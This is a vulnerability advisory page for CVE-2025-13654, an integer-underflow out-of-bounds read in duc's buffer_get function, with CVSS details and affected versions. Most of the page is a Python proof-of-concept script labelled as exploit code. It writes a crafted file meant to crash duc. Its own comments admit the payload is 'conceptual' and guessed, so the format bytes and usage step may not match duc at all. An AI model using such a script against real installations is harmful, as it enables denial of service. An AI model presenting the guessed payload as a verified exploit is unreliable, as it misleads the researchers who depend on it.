A stack buffer overflow vulnerability exists in the buffer_get function of duc, a disk management tool, where a condition can evaluate to true due to underflow, allowing an out-of-bounds read.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
cpe:2.3:a:zevv:duc:*:*:*:*:*:*:*:* - VULNERABLE
duc < 1.4.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-13654 PoC - duc buffer_get Stack Buffer Overflow
This PoC demonstrates triggering the integer underflow condition in duc's buffer_get function.
Note: This is for educational and security research purposes only.
"""
import struct
import sys
def create_malicious_input():
"""
Generate input that triggers integer underflow in buffer_get function.
The exact payload depends on the specific implementation details.
"""
# This is a conceptual PoC - the actual exploit requires analyzing
# the specific buffer_get implementation in duc source code
# Common pattern: Trigger underflow by providing specific size values
# that cause the length check to fail due to integer wraparound
payload = bytearray()
# Header/identifier for duc database format
payload.extend(b'DUC\x00') # Magic bytes
# Size field that will underflow when processed
# -1 as unsigned int = 0xFFFFFFFF (4294967295)
payload.extend(struct.pack('<I', 0xFFFFFFFF)) # Size causing underflow
# Additional crafted data
payload.extend(b'A' * 64) # Padding
return bytes(payload)
def main():
print("CVE-2025-13654 PoC - duc buffer_get Stack Buffer Overflow")
print("=" * 60)
print("Target: duc < 1.4.6")
print("Vulnerability: Integer underflow in buffer_get leading to OOB read")
print("=" * 60)
# Generate the malicious payload
payload = create_malicious_input()
print(f"\nGenerated payload length: {len(payload)} bytes")
print(f"Payload (hex): {payload.hex()}")
# Save to file for testing with duc
output_file = "cve-2025-13654-poc.bin"
with open(output_file, 'wb') as f:
f.write(payload)
print(f"\nPayload saved to: {output_file}")
print("\nUsage: duc index " + output_file)
print("Expected: Program crash due to out-of-bounds read")
return 0
if __name__ == "__main__":
sys.exit(main())